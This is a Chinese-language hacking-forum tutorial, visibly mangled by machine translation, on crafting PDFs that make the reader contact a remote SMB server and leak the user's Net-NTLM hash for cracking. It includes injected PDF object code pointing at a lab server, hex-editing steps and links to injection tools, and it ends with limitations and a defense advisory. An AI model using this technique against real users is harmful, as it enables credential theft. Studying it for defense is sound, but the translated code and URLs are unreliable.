跳转到帖子

游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

TheHackerWorld官方

渗透技巧——使用PDF文件获取Net-NTLM哈希

精选回复

发布于

0x00 前言

今年4月,来自CheckPoint的Assaf Baharav披露了一种利用PDF文件的正常功能窃取Windows系统NTLM哈希的方法。

具体来说,当用户使用PDF阅读器打开恶意PDF文档时,PDF会向远程SMB服务器发送请求,如果远程SMB服务器抓取到数据包,就可以获得用户Windows系统的Net。

NTLM哈希,进一步破解就有可能获得用户系统的明文密码。

然而微软、Adobe、FoxIT都没有修复。

这种方法成功的条件是什么?没有维修的原因是什么?

本文将从技术研究的角度进行介绍。

0x01 简介

本文将介绍以下内容:

原理及利用思路

测试POC以生成恶意PDF文件

分析PDF文件格式

编写脚本来修改普通的PDF文件

开放源代码

0x02 原理和利用思路

参考资料:

https://research . check point . com/NTLM-credentials-失窃-通过pdf-files/

原理

PDF规范允许加载GoTobe和GoToR条目的远程内容。

直观的理解:

PDF文件可以添加从远程SMB服务器请求文件的功能。

我们知道,Windows系统中的SMB协议有一个特点:客户端连接SMB服务器时,默认先尝试使用自己电脑的用户名和密码哈希登录,默认的通信协议是Net-NTLMv1或Net-NTLMv2。

Hashcat工具提供了字典和暴力破解方法来恢复Net-NTLMv1和Net-NTLMv2协议中的明文密码。

只要SMB服务器捕捉数据包,提取关键数据,就可以得到Hashcat需要的参数,并尝试破解。

可以选择WireShark进行数据包捕获,并解析获得的pcap数据包以提取关键数据。如果使用Responder,可以自动提取关键数据。

之前写的相关文章:

《Windows下的密码hash——NTLM hash和Net-NTLM hash介绍》

《渗透技巧——利用netsh抓取连接文件服务器的NTLMv2 Hash》

《渗透技巧——利用图标文件获取连接文件服务器的NTLMv2 Hash》

《Windows下的密码hash——Net-NTLMv1介绍》

类似的利用思路:

请参考以下文章:

https://osandamalith . com/2017/03/24/名胜古迹偷窃-netntlm-hashes/

本文介绍了各种文件格式的利用方法。

利用思路

构建一个特殊的PDF文档,并从SMB服务器请求一个文件。

在SMB服务器上抓取数据包

当用户使用PDF阅读器打开PDF文档时,Windows系统会将当前用户的网络NTLM哈希发送到SMB服务器。

服务器SMB提取网络NTLM散列,并使用Hashcat来破解它。

恢复用户的明文密码

尝试根据用户的明文密码进一步使用。

0x03 测试POC

Assaf Baharav在他的文章中发表了POC,如下所示。

2-1.png

注:

图片引自https://research . check point . com/NTLM-credentials-the-via-pdf-files/

如果想直接测试,请参考Deepu TV的POC,地址如下:

https://github.com/deepzec/Bad-Pdf

实际测试

客户:

IP: 192.168.62.135

操作系统:Win7 x86

中小企业服务器:

IP: 192.168.62.139

操作系统:Win8 x86

打开文件夹:测试

1、使用Bad-Pdf生成PDF文件

在这个测试中,Bad-Pdf.py被部分修改,Responder没有被执行。

设置主机IP: 192.168.62.139

选择协议SMB

如下图

2-2.png

测试PDF文件badpdf.pdf

2、SMBServer进行抓包

打开Wireshark

3、Clinet使用Adobe Reader打开badpdf.pdf

4、查看Wireshark,成功获得Net NTLM Hash的数据包

如下图

2-3.png

0x04 POC细节分析

参考代码:

https://github.com/deepzec/Bad-Pdf/blob/master/badpdf.py

Assaf Baharav的POC是一个模板,其中的PDF文件是用脚本编写的。

解释了以下关键代码:

(1)

2 0目标

/Pages/Kids[3 0 R]/Count 1

endobj

/Type /Pages指示对象的类型是页码。

/Kids[3 0 R]表示页面的对象是3。

/Count 1表示页码数为1。

(2)

3 0目标

/Page/Parent 2 0 R/media box[0 0 612 792]/Resources

endobj

/Parent 2 0 R表示父对象为2,对应于(1)中的/Kids[3。

/MediaBox指示页面的显示大小(像素)

(3)

控制图形中的外部参照(cross-reference)

0 4

0000000000 65535 f

0000000015 00000牛顿

0000000060 00000牛顿

0000000111 00000牛顿

Xref表示该部分是一个交叉引用表。

0表示下面几行中描述的对象编号从0开始,有4个对象。

0000000000 65535 f固定格式,可视为文件头。

000000015 00000n对应第一个对象,000000015代表偏移量地址(十进制);0000为5位世代号(最大65535),0表示对象未被修改;n表示对象正在使用中;如果为F,则表示该对象是自由的。

(4)

拖车

4/根1 0 R

开始xref

190

.中间省略了代码。

拖车

/Root 1 0 R

%%EOF

Trailer表示文件末尾的trailer对象的开始。

/Size 4表示此PDF文件中的对象数量为4。

/Root 1 0 R表示根对象的对象号是1。

Startxref 190表示交叉引用表的偏移地址是190。

%%EOF表示文件结束标志。

(5)

3 0目标

/类型/页面

/目录4 0 R

/AA

/O

/F('''主机' ' '测试)

/D[0/适合]

/S /GoToE

/Parent 2 0 R

/资源

/Font

/F1

/Type /Font

/子类型/类型1

/BaseFont /Helvetica

endobj

下面是实现远程访问的关键代码。

/Contents 4 0 R表示页面内容对象的对象号为4。

/Parent 2 0 R表示父对象是2

在/Contents 4 0 R和/Parent 2 0 R中,直接是实现远程访问的代码。

对于PDF文件格式,不需要换行符,所以这段代码去掉了换行符和空格,在ServerIP中填入as/aa(\ \ \ 192 . 168 . 62 . 139 \ \ test)/d[0/fit]/s/gotoe。

0x05 修改正常PDF文件

接下来尝试修改正常文件,添加代码,实现远程访问功能。

工具生成的PDF文件一般都很大,分析格式不是很方便。下面是用python生成PDF的参考代码,地址如下:

http://code.activestate.com/recipes/189858/

输入txt文件,输出pdf文件。

实际测试

1.1.txt的内容是:

1234567

cmd:

食谱-189858-1.py 1.txt

生成的pdf文件1.txt.pdf,文件大小为1213字节。

检查1.txt.pdf的文件格式,如下所示。

3-1.png

将代码/aa(\ \ \ 192 . 168 . 62 . 139 \ \ test)/d[0/fit]/s/gotoe直接添加到/Parent 3 0 R和/Resources 5 0 R中。

注:

需要十六进制编辑,使用文本编辑会导致PDF文件出错。

将上述代码添加到PDF文件后,对照表中对象的偏移位置会出现偏差,需要重新计算并修正。

使用Adobe Reader打开修改后的文件1.txt.pdf,SMB服务器成功捕获Net NTLM哈希,修改成功。

0x06 脚本编写

经过实际测试,如果没有纠正对照表中对象的偏移位置,不会影响PDF文件的正常访问。

因此,脚本编写只需要定位/Parent 0 R并添加访问远程文件的代码。

值得注意的是,PDF文件的读写需要二进制格式。

实现代码是开源的,请参考:

https://github.com/3gstudent/Worse-PDF

0x07 利用分析

成功利用需要以下条件:

用用户的PDF阅读器打开它。如果用IE或Chrome打开PDF文件,将不会执行。

对于Windows系统,通过网络NTLM哈希很难破解明文。

即使明文被破解,利用效果也是有限的(比如普通用户的Windows系统很少开启远程登录功能)。

0x08 防御

虽然微软没有修复这个利用方法,但是之前已经提供了防御方法。参考地址是:

https://portal . msrc . Microsoft . com/en-US/security-guidance/advisory/adv 170014

仅支持Win10和Server2016。

0x09 小结

测试利用PDF文件获取Net-NTLM哈希的方法和分析原理,尝试根据PDF文件格式编写脚本修改正常PDF文件,开放源代码,总结使用情况。

最后,个人认为微软没必要修复这个。

留下回复

创建帐户或登录后发表意见

最近浏览 0

  • 没有会员查看此页面。